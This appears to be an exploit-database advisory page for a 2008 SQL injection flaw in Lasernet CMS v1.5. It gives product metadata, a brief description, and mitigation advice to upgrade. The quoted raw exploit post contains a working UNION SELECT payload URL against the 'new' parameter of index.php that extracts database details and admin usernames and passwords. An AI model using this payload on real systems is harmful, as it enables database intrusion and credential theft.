Lasernet CMS v1.5 Remote Sql Inj. Vuln.

vendor:

Lasernet CMS

by:

cO2 [Algeria Security Crew]

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Lasernet CMS

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: Yes

Related CWE: N/A

CPE: a:lasernet_cms:lasernet_cms:1.5

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Lasernet CMS v1.5 Remote Sql Inj. Vuln.

Lasernet CMS v1.5 is vulnerable to a remote SQL injection vulnerability. An attacker can exploit this vulnerability to gain access to the database and execute arbitrary SQL commands. The vulnerable parameter is 'new' which is passed to the 'index.php' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious SQL statements.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of Lasernet CMS.

Source

Exploit-DB raw data:

###################################################
[~] Lasernet CMS v1.5 Remote Sql Ä°nj. Vuln.
                                                                                                               
[~] Founder: cO2 [ Algeria Security Crew ]
[~] HomePage: http://www.DZ-Secure.com
[~] Greatz : To all Hackerz from Algeria & All My Friends . . .
[~] Contact: c02@Hotmail.de
[~] Exploit :
http://www.xxx.org//index.php?id=new&new=-1'%20UNION%20ALL%20SELECT%201,2,concat(database(),char(58),user(),char(58),version()),concat(username,0x3e,password),5,6,7,8,9+from+admins/*
---------------------
http://www.DZ-Secure.com
---------------------
###############################################

# milw0rm.com [2008-04-15]